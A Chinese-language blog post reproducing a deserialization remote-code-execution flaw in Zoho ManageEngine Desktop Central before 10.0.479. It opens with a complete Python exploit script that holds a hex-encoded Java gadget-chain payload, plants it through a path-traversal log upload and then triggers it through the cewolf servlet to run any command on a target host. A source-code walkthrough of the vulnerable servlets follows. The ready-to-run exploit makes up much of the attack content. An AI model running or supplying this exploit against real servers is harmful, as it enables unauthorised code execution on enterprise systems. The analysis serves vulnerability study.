0%

Zoho ManageEngine Desktop Central 10反序列化远程代码执行

前言

前段时间做项目时,在先知上看到Zoho ManageEngine Desktop Central 10反序列化RCE,项目结束后进行了复现一波,这里记录一下

影响版本:Zoho ManageEngine Desktop Central < 10.0.479

正文

漏洞利用

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
#!/usr/local/bin/python3
import os
import sys
import struct
import requests
import subprocess
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def _get_payload(c):
p = "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594"
p += "da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400"
p += "164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200"
p += "2b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265"
p += "616e436f6d70617261746f72cf8e0182fe4ef17e0200024c000a636f6d706172"
p += "61746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e"
p += "672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e"
p += "732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d706172"
p += "61626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f75"
p += "7470757450726f706572746965737704000000037372003a636f6d2e73756e2e"
p += "6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e"
p += "747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d"
p += "5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b00"
p += "0a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a"
p += "6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f"
p += "6f757470757450726f706572746965737400164c6a6176612f7574696c2f5072"
p += "6f706572746965733b787000000000ffffffff757200035b5b424bfd19156767"
p += "db37020000787000000002757200025b42acf317f8060854e002000078700000"
p += "069bcafebabe0000003200390a00030022070037070025070026010010736572"
p += "69616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75"
p += "6505ad2093f391ddef3e0100063c696e69743e010003282956010004436f6465"
p += "01000f4c696e654e756d6265725461626c650100124c6f63616c566172696162"
p += "6c655461626c6501000474686973010013537475625472616e736c6574506179"
p += "6c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c"
p += "2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e73"
p += "6c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f"
p += "73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f7873"
p += "6c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c"
p += "2f696e7465726e616c2f73657269616c697a65722f53657269616c697a617469"
p += "6f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73"
p += "756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c"
p += "74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f"
p += "72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65"
p += "722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074"
p += "696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78"
p += "616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e"
p += "2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d"
p += "417869734974657261746f723b4c636f6d2f73756e2f6f72672f617061636865"
p += "2f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c69"
p += "7a6174696f6e48616e646c65723b29560100086974657261746f720100354c63"
p += "6f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64"
p += "746d2f44544d417869734974657261746f723b01000768616e646c6572010041"
p += "4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c"
p += "2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c6572"
p += "3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a"
p += "000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f"
p += "4761646765747324537475625472616e736c65745061796c6f6164010040636f"
p += "6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f"
p += "78736c74632f72756e74696d652f41627374726163745472616e736c65740100"
p += "146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f"
p += "6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f"
p += "5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061"
p += "796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100"
p += "116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e7469"
p += "6d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a"
p += "002b002e01000708003001000465786563010027284c6a6176612f6c616e672f"
p += "537472696e673b294c6a6176612f6c616e672f50726f636573733b0c00320033"
p += "0a002b003401000d537461636b4d61705461626c6501001d79736f7365726961"
p += "6c2f50776e6572373633323838353835323036303901001f4c79736f73657269"
p += "616c2f50776e657237363332383835383532303630393b002100020003000100"
p += "040001001a000500060001000700000002000800040001000a000b0001000c00"
p += "00002f00010001000000052ab70001b100000002000d0000000600010000002e"
p += "000e0000000c000100000005000f003800000001001300140002000c0000003f"
p += "0000000300000001b100000002000d00000006000100000033000e0000002000"
p += "0300000001000f00380000000000010015001600010000000100170018000200"
p += "19000000040001001a00010013001b0002000c000000490000000400000001b1"
p += "00000002000d00000006000100000037000e0000002a000400000001000f0038"
p += "00000000000100150016000100000001001c001d000200000001001e001f0003"
p += "0019000000040001001a00080029000b0001000c00000024000300020000000f"
p += "a70003014cb8002f1231b6003557b10000000100360000000300010300020020"
p += "00000002002100110000000a000100020023001000097571007e0010000001d4"
p += "cafebabe00000032001b0a000300150700170700180700190100107365726961"
p += "6c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505"
p += "71e669ee3c6d47180100063c696e69743e010003282956010004436f64650100"
p += "0f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c65"
p += "5461626c6501000474686973010003466f6f01000c496e6e6572436c61737365"
p += "730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f476164"
p += "6765747324466f6f3b01000a536f7572636546696c6501000c47616467657473"
p += "2e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f61"
p += "64732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f"
p += "4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f"
p += "79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747300"
p += "2100020003000100040001001a00050006000100070000000200080001000100"
p += "0a000b0001000c0000002f00010001000000052ab70001b100000002000d0000"
p += "000600010000003b000e0000000c000100000005000f00120000000200130000"
p += "0002001400110000000a000100020016001000097074000450776e7270770100"
p += "7871007e000d78"
obj = bytearray(bytes.fromhex(p))
obj[0x240:0x242] = struct.pack(">H", len(c) + 0x694)
obj[0x6e5:0x6e7] = struct.pack(">H", len(c))
start = obj[:0x6e7]
end = obj[0x6e7:]
return start + str.encode(c) + end

PROXS = {
'http':'http://127.0.0.1:8080',
'https':'https://127.0.0.1:8080',
}

def we_can_plant_serialized(t, c):
# stage 1 - traversal file write primitive
uri = "https://%s:8383/mdm/client/v1/mdmLogUploader" % t
p = {
"udid" : "si\\..\\..\\..\\webapps\\DesktopCentral\\_chart",
"filename" : "logger.zip"
}
h = { "Content-Type" : "application/octet-stream" }
d = _get_payload(c)
r = requests.post(uri, params=p, data=d, verify=False,proxies = PROXS)
print(r.status_code)
if r.status_code == 200:
return True
return False

def we_can_execute_cmd(t):
# stage 2 - deserialization
uri = "https://%s:8383/cewolf/" % t
p = { "img" : "\\logger.zip" }
r = requests.get(uri, params=p, verify=False,proxies = PROXS)
print(r.status_code)
if r.status_code == 200:
return True
return False

def main():
if len(sys.argv) != 3:
print("(+) usage: %s <target> <cmd>" % sys.argv[0])
print("(+) eg: %s 172.16.175.153 mspaint.exe" % sys.argv[0])
sys.exit(1)
t = sys.argv[1]
c = sys.argv[2]
if we_can_plant_serialized(t, c):
print("(+) planted our serialized payload")
if we_can_execute_cmd(t):
print("(+) executed: %s" % c)

if __name__ == "__main__":
main()

漏洞分析

我们进入DesktopCentral_Server/webapps/DesktopCentral/WEB-INF/目录web.xml中,可以看到一个名为CewolfServletservlet,在新版本的10.0.479中没有这个servlet

进入de.laures.cewolf.CewolfRenderer,在124行左右。get方法获取img参数赋值给imgkey,然后把参数传递给storage类的getChartImage方法

进入storage类,发现是一个接口类

在同一个jar包下的storage包中的FileStorage实现了Storage接口类,直接看getChartImage方法实现,其中标红的地方很明显是反序列化的触发点。

现在需要的是找到上传的点,才能完善这条反序列化链

返回web.xml找上传处,找到一个servletMDMLogUploaderServlet

进入MDMLogUploaderServletservelet中,doPost方法中可看到,udidfilename参数可控

接下来我们跟踪这两个参数,udid在72行左右会进行路径拼接,这里可以进行目录穿越

1
String localDirToStore = baseDir + File.separator + "mdm-logs" + File.separator + this.customerID + File.separator + this.deviceName + "_" + udid;

filename会先进行hasVulnerabilityInFileName检查

FileUploadUtil类检查,即filename不能有路劲以及后缀只能为log|txt|zip|7z其中一种

事实上在security-mdm-agent.xml中限制了上传文件的名字

现在知道上传点和触发点,需要找可用的gadgets

可见我们可以利用CommonsBeanutils1CommonsCollections3两条gagdets

总结

这个反序列化漏洞是很常规的反序列化,但是不知道什么原因,存在两个问题

  • 我使用yso进行打,上传了反虚化zip文件,但是不进行命令执行
  • 直接用国外老哥的脚本,服务启动开始的一段时间可以打成,过段时间后又打不了,访问显示404

该服务在国外用比较用的比较多,在国内用的少

Reference

https://xz.aliyun.com/t/7404

https://srcincite.io/pocs/src-2020-0011.py.txt